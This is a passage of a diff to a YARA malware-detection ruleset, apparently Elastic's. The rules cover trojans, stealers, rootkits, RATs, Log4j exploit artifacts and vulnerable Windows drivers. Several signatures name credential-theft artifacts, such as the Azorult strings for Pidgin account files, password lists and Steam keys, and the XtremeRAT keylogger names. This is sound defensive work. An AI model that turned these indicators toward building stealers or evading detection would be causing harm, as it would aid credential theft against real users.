+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54"
+		logic_hash = "67f97cc4f2886ed296b5b3827dc1d1792136ba8d9d27c20b677c9467618c879d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9661cc2b7a1d7b882ca39307adc927f5fb73d59f3771a8b456c2cf2ff3d801e9"
+		fingerprint = "c6b678a94e45441ef960bc7119e2b9742ce8aab7e463897bf4a14aa0c57d507c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62087,28 +66296,32 @@ rule ELASTIC_Linux_Trojan_Malxmr_7054A0D0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 6E 64 47 56 7A 64 48 52 6C 63 33 52 30 5A 58 4E 30 64 47 56 }
+		$a1 = { 48 BA 74 63 70 66 69 76 65 6D 4? 8B ?? 24 }
+		$a2 = { 48 B9 FF FF FF FF 67 65 74 73 48 89 08 48 B9 65 74 73 74 61 74 75 73 48 89 48 }
+		$a3 = { 48 B? 73 74 61 72 74 6D 69 6E 49 39 ?3 }
+		$a4 = { 48 BA 6C 6F 61 64 63 6C 69 65 48 8B B4 24 }
+		$a5 = { 48 BA 73 74 6? 7? 7? 6? 6? 6E 49 39 13 }
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Malxmr_144994A5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mechbot_F2E1C5Aa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Malxmr (Linux.Trojan.Malxmr)"
+		description = "Detects Linux Trojan Mechbot (Linux.Trojan.Mechbot)"
 		author = "Elastic Security"
-		id = "144994a5-1e37-4913-b7aa-deed638b1a79"
+		id = "f2e1c5aa-3318-4665-bee4-34a4afcf60bd"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Malxmr.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07db41a4ddaac802b04df5e5bbae0881fead30cb8f6fa53a8a2e1edf14f2d36b"
-		logic_hash = "4d40337895e63d3dc6f0d94889863f0f5017533658210b902b08d84cf3588cab"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mechbot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5f8e80e6877ff2de09a12135ee1fc17bee8eb6d811a65495bcbcddf14ecb44a3"
+		logic_hash = "2ba9ece1ab2360702a59a737a20b6dbd8fca276b543477f9290ab80c6f51e2f1"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "473e686a74e76bb879b3e34eb207d966171f3e11cf68bde364316c2ae5cd3dc3"
+		fingerprint = "4b663b0756f2ae9b43eae29cd0225ad75517ef345982e8fdafa61f3c3db2d9f5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62116,60 +66329,62 @@ rule ELASTIC_Linux_Trojan_Malxmr_144994A5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 78 71 51 58 5A 5A 4D 31 5A 35 59 6B 4D 78 61 47 4A 58 55 54 4A }
+		$a = { 45 52 56 45 52 00 42 41 4E 4C 49 53 54 00 42 4F 4F 54 00 42 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Azorult_38Fce9Ea : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Iobitunlocker_Defb90Fd : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Azorult (Windows.Trojan.Azorult)"
+		description = "Name: IObitUnlocker.sys, Version: 1.0.X.Y to 1.3.X.Y"
 		author = "Elastic Security"
-		id = "38fce9ea-a94e-49d3-8eef-96fe06ad27f8"
-		date = "2021-08-05"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Azorult.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491"
-		logic_hash = "e23b21992b7ff577d4521c733929638522f4bf57b54c72e5e46196d028d6be26"
+		id = "defb90fd-d2ac-4168-b248-f698b590a63f"
+		date = "2023-07-25"
+		modified = "2023-07-25"
+		reference = "https://theevilbit.github.io/posts/iobit_unlocker_lpe/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0aff83f28d70f425539fee3d6a780210d0406264f8a4eb124e32b074e8ffd556"
+		hash = "5ce1a8eac73ef1d0741f34d9fb2661da322117a63bffe60ccad092da89664c42"
+		logic_hash = "4b0f440c66b7c9a193f0d6675c2a4246036ebc5c0c83856f45ec40a041e9cd07"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "a2015ef9d0f3f5de47cd5c9a64953aef7a860d5cbd7e176df601c67c89294e4f"
+		threat_name = "Windows.VulnDriver.IoBitUnlocker"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "/c %WINDIR%\\system32\\timeout.exe 3 & del \"" wide fullword
-		$a2 = "%APPDATA%\\.purple\\accounts.xml" wide fullword
-		$a3 = "%TEMP%\\curbuf.dat" wide fullword
-		$a4 = "PasswordsList.txt" ascii fullword
-		$a5 = "Software\\Valve\\Steam" wide fullword
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 [1-4] 49 00 4F 00 62 00 69 00 74 00 55 00 6E 00 6C 00 6F 00 63 00 6B 00 65 00 72 00 2E 00 73 00 79 00 73 }
+		$product_version = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 [1-4] 31 00 2E 00 ( 30 | 31 | 32 | 33 ) 00 }
+		$subject = { 06 03 55 04 0A [2] 49 4F 62 69 74 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 54 65 63 68 6E 6F 6C 6F 67 79 }
+		$pdb_filename = "IObitUnlocker.pdb" fullword
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and (($original_file_name and $product_version) or ($subject and $pdb_filename))
 }
-rule ELASTIC_Linux_Exploit_Log4J_7Fc4D480 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Pnscan_20E34E35 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Log4J (Linux.Exploit.Log4j)"
+		description = "Detects Linux Trojan Pnscan (Linux.Trojan.Pnscan)"
 		author = "Elastic Security"
-		id = "7fc4d480-5354-4b0b-93ee-2937ddd1565c"
-		date = "2021-12-13"
-		modified = "2022-01-26"
-		reference = "https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Log4j.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b09d8dd9c422e7eb8aa23f8b1204d31fd290252925099300d6d19d73e562ca5e"
+		id = "20e34e35-8639-4a0d-bfe3-6bfa1570f14d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Pnscan.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7dbd5b709f16296ba7dac66dc35b9c3373cf88452396d79d0c92d7502c1b0005"
+		logic_hash = "1e69ef50d25ffd0f38ed0eb81ab3295822aa183c5e06f307caf02826b1dfa011"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cd06db6f5bebf0412d056017259b5451184d5ba5b2976efd18fa8f96dba6a159"
+		fingerprint = "07678bd23ae697d42e2c7337675f7a50034b10ec7a749a8802820904a943641a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62177,35 +66392,29 @@ rule ELASTIC_Linux_Exploit_Log4J_7Fc4D480 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$jndi1 = "jndi.ldap.LdapCtx.c_lookup"
-		$jndi2 = "logging.log4j.core.lookup.JndiLookup.lookup"
-		$jndi3 = "com.sun.jndi.url.ldap.ldapURLContext.lookup"
-		$exp1 = "Basic/Command/Base64/"
-		$exp2 = "java.lang.ClassCastException: Exploit"
-		$exp3 = "WEB-INF/classes/Exploit"
-		$exp4 = "Exploit.java"
+		$a = { 4C 00 54 45 4C 20 3A 20 00 3C 49 41 43 3E 00 3C 44 4F 4E 54 3E 00 }
 
 	condition:
-		2 of ($jndi*) and 1 of ($exp*)
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Physmem_Cc0978Df : FILE
+rule ELASTIC_Windows_Vulndriver_Powertool_044A8645 : FILE
 {
 	meta:
-		description = "Name: physmem.sys"
+		description = "Name: kEvP64.sys"
 		author = "Elastic Security"
-		id = "cc0978df-153e-4421-8be8-37a0824133e2"
+		id = "044a8645-cc90-4ab2-8519-e207583de60d"
 		date = "2022-04-07"
 		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_PhysMem.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
-		logic_hash = "e2fabf5889dbdc98dc6942be4fb0de4351d64a06bab945993b2a2c4afe89984e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_PowerTool.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
+		logic_hash = "b21c16cb72d003c505aa0ac4cc21b92513a100bad6870460090994c02cad875a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "b94d5530dc3db4101b6ef06dc2421a10785f47bcb26d54f309a250a68699fa83"
-		threat_name = "Windows.Hacktool.PhysMem"
+		fingerprint = "f79831f531f20cc1daeb86b860dffa02dd5a9d25c41cc1eff9f04eddbbd37864"
+		threat_name = "Windows.VulnDriver.PowerTool"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -62213,28 +66422,28 @@ rule ELASTIC_Windows_Hacktool_Physmem_Cc0978Df : FILE
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 70 00 68 00 79 00 73 00 6D 00 65 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6B 00 45 00 76 00 50 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
 		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Windows_Hacktool_Physmem_B3Fa382B : FILE
+rule ELASTIC_Windows_Hacktool_Gmer_8Aabdd5E : FILE
 {
 	meta:
-		description = "Detects Windows Hacktool Physmem (Windows.Hacktool.PhysMem)"
+		description = "Detects Windows Hacktool Gmer (Windows.Hacktool.Gmer)"
 		author = "Elastic Security"
-		id = "b3fa382b-48a5-4004-92ad-bba0d42243ad"
+		id = "8aabdd5e-1ce7-4257-abaa-8d02dc6856a6"
 		date = "2022-04-04"
 		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_PhysMem.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88df37ede18bea511f1782c1a6c4915690b29591cf2c1bf5f52201fbbb4fa2b9"
-		logic_hash = "36a60b78de15a52721ad4830b37daffc33d7689e8b180fe148876da00562273a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Gmer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7"
+		logic_hash = "acdab89a7703a743927cec60fbc84af2fd469403bee6f211c865fb96e9c92498"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "81285d1d8bdb575cb3ebf7f2df2555544e3f1342917e207def00c358a77cd620"
+		fingerprint = "960721d4d111a670907fe7d3ce01dfd134ad03a2d8440a945c75a7d46de46238"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -62242,277 +66451,273 @@ rule ELASTIC_Windows_Hacktool_Physmem_B3Fa382B : FILE
 		os = "windows"
 
 	strings:
-		$str1 = "\\Phymemx64.pdb"
+		$str1 = "\\gmer64.pdb"
 
 	condition:
 		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Multi_Trojan_Coreimpact_37703Dc3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Xtremerat_Cd5B60Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Trojan Coreimpact (Multi.Trojan.Coreimpact)"
+		description = "Detects Windows Trojan Xtremerat (Windows.Trojan.XtremeRAT)"
 		author = "Elastic Security"
-		id = "37703dc3-9485-4026-a8b7-82e753993757"
-		date = "2022-08-10"
-		modified = "2022-09-29"
+		id = "cd5b60be-4685-425a-8fe1-8366c0e5b84a"
+		date = "2022-03-15"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_Coreimpact.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2d954908da9f63cd3942c0df2e8bb5fe861ac5a336ddef2bd0a977cebe030ad7"
-		logic_hash = "0695f22d6eb8c1b335c43213087539db419562bebd6f5b948cbb168c454bd37c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_XtremeRAT.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "735f7bf255bdc5ce8e69259c8e24164e5364aeac3ee78782b7b5275c1d793da8"
+		logic_hash = "a6997ae4842bd45c440925ef2a5848b57c58e2373c0971ce6b328ea297ee97b4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5a4d7af7d0fecc05f87ba51f976d78e77622f8afb1eafc175444f45839490109"
+		fingerprint = "2ee35d7c34374e9f5cffceb36fe1912932288ea4e8211a8b77430b98a9d41fb2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$str1 = "Uh, oh, exit() failed" fullword
-		$str2 = "agent_recv" fullword
-		$str3 = "needroot" fullword
-		$str4 = "time is running backwards, corrected" fullword
-		$str5 = "junk pointer, too low to make sense" fullword
+		$s01 = "SOFTWARE\\XtremeRAT" wide fullword
+		$s02 = "XTREME" wide fullword
+		$s03 = "STARTSERVERBUFFER" wide fullword
+		$s04 = "ENDSERVERBUFFER" wide fullword
+		$s05 = "ServerKeyloggerU" ascii fullword
+		$s06 = "TServerKeylogger" ascii fullword
+		$s07 = "XtremeKeylogger" wide fullword
+		$s08 = "XTREMEBINDER" wide fullword
+		$s09 = "UnitInjectServer" ascii fullword
+		$s10 = "shellexecute=" wide fullword
 
 	condition:
-		3 of them
+		7 of ($s*)
 }
-rule ELASTIC_Windows_Trojan_Babylonrat_0F66E73B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Fickerstealer_Cc02E75E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Babylonrat (Windows.Trojan.Babylonrat)"
+		description = "Detects Windows Trojan Fickerstealer (Windows.Trojan.Fickerstealer)"
 		author = "Elastic Security"
-		id = "0f66e73b-7824-46b6-a9e6-5abf018c9ffa"
-		date = "2021-09-02"
-		modified = "2022-01-13"
+		id = "cc02e75e-2049-4ee4-9302-e491e7dad696"
+		date = "2021-07-22"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Babylonrat.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4278064ec50f87bb0471053c068b13955ed9d599434e687a64bf2060438a7511"
-		logic_hash = "66223dc9e2ef7330e26c91f0c82c555e96e4c794a637ab2cbe36410f3eca202a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Fickerstealer.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4113ccb55e06e783b6cb213647614f039aa7dbb454baa338459ccf37897ebd6"
+		logic_hash = "ccfd7edf7625c13eea5b88fa29f9b8d3d873688f328f3e52c0500ac722c84511"
 		score = 75
-		quality = 50
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3998824e381f51aaa2c81c12d4c05157c642d8aef39982e35fa3e124191640ea"
-		severity = 100
+		fingerprint = "022088764645d85dd20d1ce201395b4e79e3e716723715687eaecfcbe667615e"
+		severity = 80
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "BabylonRAT" wide fullword
-		$a2 = "Babylon RAT Client" wide fullword
-		$a3 = "ping 0 & del \"" wide fullword
-		$a4 = "\\%Y %m %d - %I %M %p" wide fullword
+		$a1 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing non-UTF-8 byte sequences" ascii fullword
+		$a2 = "\"SomeNone" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Cheatengine_Fedac96D : FILE
+rule ELASTIC_Windows_Trojan_Fickerstealer_F2159Bec : FILE MEMORY
 {
 	meta:
-		description = "Subject: Cheat Engine"
+		description = "Detects Windows Trojan Fickerstealer (Windows.Trojan.Fickerstealer)"
 		author = "Elastic Security"
-		id = "fedac96d-4c23-4c8d-8476-4c89fd610441"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "f2159bec-a3ce-47a9-91ad-43b8a19ac172"
+		date = "2021-07-22"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_CheatEngine.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b20b339a7b61dc7dbc9a36c45492ba9654a8b8a7c8cbc202ed1dfed427cfd799"
-		logic_hash = "426b6d388f86dd935d8165af0fb7c8491c987542755ec4c7c53a35a9003f8680"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Fickerstealer.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4113ccb55e06e783b6cb213647614f039aa7dbb454baa338459ccf37897ebd6"
+		logic_hash = "d36cb90b526a291858291d615272baa78881309c83376f4d4cce1768c740ddbc"
 		score = 75
-		quality = 35
-		tags = "FILE"
-		fingerprint = "94d375ddab90c27ef22dd18b98952d0ec8a4d911151970d5b9f59654a8e3d7db"
-		threat_name = "Windows.Hacktool.CheatEngine"
-		severity = 50
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "0671691c6d5c7177fe155e4076ab39bf5f909ed300f32c1530e80d471dff0296"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 43 68 65 61 74 20 45 6E 67 69 6E 65 }
+		$a1 = { 10 12 F2 0F 10 5A 08 31 C1 89 C6 8B 42 50 89 7D F0 F2 0F 11 8D 18 FF }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Nimplant_44Ff3211 : FILE MEMORY
+rule ELASTIC_Linux_Rootkit_Adore_Fe3Fd09F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Nimplant (Windows.Trojan.Nimplant)"
+		description = "Detects Linux Rootkit Adore (Linux.Rootkit.Adore)"
 		author = "Elastic Security"
-		id = "44ff3211-1ba6-4c46-a990-b2419d88367e"
-		date = "2023-06-23"
-		modified = "2023-07-10"
+		id = "fe3fd09f-d170-4bb0-bc8d-6d61bdc22164"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Nimplant.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b56e20384f98e1d2417bb7dcdbfb375987dd075911b74ea7ead082494836b8f4"
-		logic_hash = "ee519d8d722404ed440b385d283a41921bc34ee11f0e7273cdc074b377494c39"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Rootkit_Adore.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f4e532b840e279daf3d206e9214a1b065f97deb7c1487a34ac5cbd7cbbf33e1a"
+		logic_hash = "cc07efb9484562cd870649a38126f08aa4e99ed5ad4662ece0488d9ffd97520e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cb7f823b1621e49ffac42e8a3f90ca7f8bac7ae108ca20b9a0884548681d1f87"
+		fingerprint = "2bab2a4391359c6a7148417b010887d0754b91ac99820258e849e81f7752069f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "@NimPlant v"
-		$a2 = ".Env_NimPlant."
-		$a3 = "NimPlant.dll"
+		$a = { 89 C0 89 45 F4 83 7D F4 00 75 17 68 E4 A1 04 08 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Criscras_Fc505C1D : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Amcleaner_445Bb666 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Criscras (Linux.Exploit.Criscras)"
+		description = "Detects Macos Trojan Amcleaner (MacOS.Trojan.Amcleaner)"
 		author = "Elastic Security"
-		id = "fc505c1d-f77d-48cc-b8fe-7b24b9cc6a97"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "445bb666-1707-4ad9-a409-4a21de352957"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Criscras.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7399f6b8fbd6d6c6fb56ab350c84910fe19cc5da67e4de37065ff3d4648078ab"
-		logic_hash = "4d84570c13c584fb7360e798df9f3e6039ee74fdb6ad597add0ea150e3deaa80"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Amcleaner.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c85bf71310882bc0c0cf9b74c9931fd19edad97600bc86ca51cf94ed85a78052"
+		logic_hash = "664829ff761186ec8f3055531b5490b7516756b0aa9d0183d4c17240a5ca44c4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bc5e980599c4c8fc3c9b560738d7187a0c91e2813c64b3ad0ff014230100c8d8"
+		fingerprint = "355c7298a4148be3b80fd841b483421bde28085c21c00d5e4a42949fd8026f5b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 0C 89 21 89 E3 31 C0 B0 0B CD 80 31 C0 FE C0 CD }
+		$a = { 10 A0 5B 15 57 A8 8B 17 02 F9 A8 9B E8 D5 8C 96 A7 48 42 91 E5 EC 3D C8 AC 52 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Rtcore_4Eeb2Ce5 : FILE
+rule ELASTIC_Macos_Trojan_Amcleaner_A91D3907 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Rtcore (Windows.VulnDriver.RtCore)"
+		description = "Detects Macos Trojan Amcleaner (MacOS.Trojan.Amcleaner)"
 		author = "Elastic Security"
-		id = "4eeb2ce5-e481-4e9c-beda-2b01f259ed96"
-		date = "2022-04-04"
-		modified = "2022-08-30"
+		id = "a91d3907-5e24-46c0-90ef-ed7f46ad8792"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_RtCore.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd"
-		logic_hash = "f547bce6554c60e8f3ef8e128c05533cf1f35ce0ee414d5a1c5e9a205b05d8fe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Amcleaner.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc9c700f3f6a03ecb6e3f2801d4269599c32abce7bc5e6a1b7e6a64b0e025f58"
+		logic_hash = "e61ceea117acf444a6b137b93d7c335c6eb8a7e13a567177ec4ea44bf64fd5c6"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "cebca7dc572afccf4eb600980b9cbaef0878213f91c04b4605a0cf4d0e5e541f"
-		severity = 50
+		quality = 73
+		tags = "FILE, MEMORY"
